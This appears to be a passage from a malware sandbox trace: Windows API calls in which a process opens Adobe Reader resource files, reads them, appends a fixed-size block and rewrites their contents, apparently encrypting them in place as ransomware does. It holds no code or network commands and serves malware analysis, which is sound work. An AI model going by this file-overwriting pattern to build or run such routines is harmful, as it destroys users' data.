[0044.110] ReadFile (in: hFile=0x1d4, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x354f278*=0xf000, lpOverlapped=0x0) returned 1 [0044.114] ReadFile (in: hFile=0x1d4, lpBuffer=0x260fc18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.121] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0xb8e2b [0044.121] ReadFile (in: hFile=0x1d4, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.123] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0xb8e2b [0044.123] WriteFile (in: hFile=0x1d4, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.124] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0044.124] WriteFile (in: hFile=0x1d4, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x354f28c*=0xf000, lpOverlapped=0x0) returned 1 [0044.124] WriteFile (in: hFile=0x1d4, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x354f28c*=0x1000, lpOverlapped=0x0) returned 1 [0044.124] CloseHandle (hObject=0x1d4) returned 1 [0044.124] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\slvphon.env" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\slvphon.env"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0044.125] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0044.125] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x109f [0044.125] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0044.125] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.125] ReleaseMutex (hMutex=0x128) returned 1 [0044.125] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="slvphon.env", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0044.125] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="slvphon.env", cchWideChar=11, lpMultiByteStr=0x1e6320c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="slvphon.env", lpUsedDefaultChar=0x0) returned 11 [0044.125] ReadFile (in: hFile=0x1d4, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0x109f, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x354f2bc*=0x109f, lpOverlapped=0x0) returned 1 [0044.129] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0044.129] WriteFile (in: hFile=0x1d4, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1627, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x354f2d0*=0x1627, lpOverlapped=0x0) returned 1 [0044.129] CloseHandle (hObject=0x1d4) returned 1 [0044.129] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\swd58.ths" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\swd58.ths"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0044.130] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0044.130] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x10f800 [0044.130] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0044.130] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.130] ReleaseMutex (hMutex=0x128) returned 1 [0044.130] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="swd58.ths", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0044.130] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="swd58.ths", cchWideChar=9, lpMultiByteStr=0x1e633ac, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="swd58.ths", lpUsedDefaultChar=0x0) returned 9 [0044.130] ReadFile (in: hFile=0x1d4, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x354f278*=0xf000, lpOverlapped=0x0) returned 1 [0044.132] ReadFile (in: hFile=0x1d4, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.134] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x10e800 [0044.134] ReadFile (in: hFile=0x1d4, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.140] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x10e800 [0044.140] WriteFile (in: hFile=0x1d4, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.140] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0044.140] WriteFile (in: hFile=0x1d4, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x354f28c*=0xf000, lpOverlapped=0x0) returned 1 [0044.141] WriteFile (in: hFile=0x1d4, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x354f28c*=0x1000, lpOverlapped=0x0) returned 1 [0044.141] CloseHandle (hObject=0x1d4) returned 1 [0044.141] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\ICU\\ctl_gb18030.cnv" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\icu\\ctl_gb18030.cnv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0044.142] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0044.142] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x37c40 [0044.142] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0044.142] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.142] ReleaseMutex (hMutex=0x128) returned 1 [0044.142] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ctl_gb18030.cnv", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0044.142] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ctl_gb18030.cnv", cchWideChar=15, lpMultiByteStr=0x1e6306c, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ctl_gb18030.cnv", lpUsedDefaultChar=0x0) returned 15 [0044.142] ReadFile (in: hFile=0x1d4, lpBuffer=0x276a328, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x354f278*=0x8000, lpOverlapped=0x0) returned 1 [0044.709] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x36c40 [0044.710] ReadFile (in: hFile=0x1d4, lpBuffer=0x1dece18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1dece18*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.711] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x36c40 [0044.712] WriteFile (in: hFile=0x1d4, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.713] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0044.713] WriteFile (in: hFile=0x1d4, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x354f28c*=0x8000, lpOverlapped=0x0) returned 1 [0044.713] CloseHandle (hObject=0x1d4) returned 1 [0044.713] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CHINSIMP.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\chinsimp.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0044.714] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0044.715] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x31aa5 [0044.715] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0044.715] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.715] ReleaseMutex (hMutex=0x128) returned 1 [0044.715] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CHINSIMP.TXT", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0044.715] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CHINSIMP.TXT", cchWideChar=12, lpMultiByteStr=0x1e6326c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CHINSIMP.TXT", lpUsedDefaultChar=0x0) returned 12 [0044.715] ReadFile (in: hFile=0x1d4, lpBuffer=0x276a328, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x354f278*=0x8000, lpOverlapped=0x0) returned 1 [0044.717] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x30aa5 [0044.717] ReadFile (in: hFile=0x1d4, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.718] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x30aa5 [0044.718] WriteFile (in: hFile=0x1d4, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.718] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0044.718] WriteFile (in: hFile=0x1d4, lpBuffer=0x1de4de8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de4de8*, lpNumberOfBytesWritten=0x354f28c*=0x8000, lpOverlapped=0x0) returned 1 [0044.719] CloseHandle (hObject=0x1d4) returned 1 [0044.719] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\KOREAN.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\korean.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0044.720] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0044.720] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x591cf [0044.720] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0044.720] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.720] ReleaseMutex (hMutex=0x128) returned 1 [0044.720] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KOREAN.TXT", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0044.720] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KOREAN.TXT", cchWideChar=10, lpMultiByteStr=0x1e6334c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KOREAN.TXT", lpUsedDefaultChar=0x0) returned 10 [0044.720] ReadFile (in: hFile=0x1d4, lpBuffer=0x1de8e18, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1de8e18*, lpNumberOfBytesRead=0x354f278*=0x8000, lpOverlapped=0x0) returned 1 [0044.722] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x581cf [0044.722] ReadFile (in: hFile=0x1d4, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.723] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x581cf [0044.724] WriteFile (in: hFile=0x1d4, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.724] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0044.724] WriteFile (in: hFile=0x1d4, lpBuffer=0x1de8e18*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de8e18*, lpNumberOfBytesWritten=0x354f28c*=0x8000, lpOverlapped=0x0) returned 1 [0044.724] CloseHandle (hObject=0x1d4) returned 1 [0044.724] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1253.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp1253.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0044.725] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0044.725] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x2414 [0044.726] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0044.726] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.726] ReleaseMutex (hMutex=0x128) returned 1 [0044.726] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CP1253.TXT", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0044.726] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CP1253.TXT", cchWideChar=10, lpMultiByteStr=0x1e633ac, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CP1253.TXT", lpUsedDefaultChar=0x0) returned 10 [0044.726] ReadFile (in: hFile=0x1d4, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.727] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x1414 [0044.727] ReadFile (in: hFile=0x1d4, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.728] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x1414 [0044.728] WriteFile (in: hFile=0x1d4, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.728] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0044.728] WriteFile (in: hFile=0x1d4, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x354f28c*=0x1000, lpOverlapped=0x0) returned 1 [0044.728] CloseHandle (hObject=0x1d4) returned 1 [0044.729] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP950.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp950.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0044.729] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0044.729] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x7fa1b [0044.729] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0044.729] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.729] ReleaseMutex (hMutex=0x128) returned 1 [0044.729] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CP950.TXT", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0044.729] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CP950.TXT", cchWideChar=9, lpMultiByteStr=0x1e630ec, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CP950.TXT", lpUsedDefaultChar=0x0) returned 9 [0044.729] ReadFile (in: hFile=0x1d4, lpBuffer=0x276a328, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x354f278*=0x8000, lpOverlapped=0x0) returned 1 [0044.731] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x7ea1b [0044.731] ReadFile (in: hFile=0x1d4, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.733] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x7ea1b [0044.733] WriteFile (in: hFile=0x1d4, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.733] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0044.733] WriteFile (in: hFile=0x1d4, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x354f28c*=0x8000, lpOverlapped=0x0) returned 1 [0044.734] CloseHandle (hObject=0x1d4) returned 1 [0044.734] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1038.mst" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\1038.mst"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0044.734] GetFullPathNameW (in: 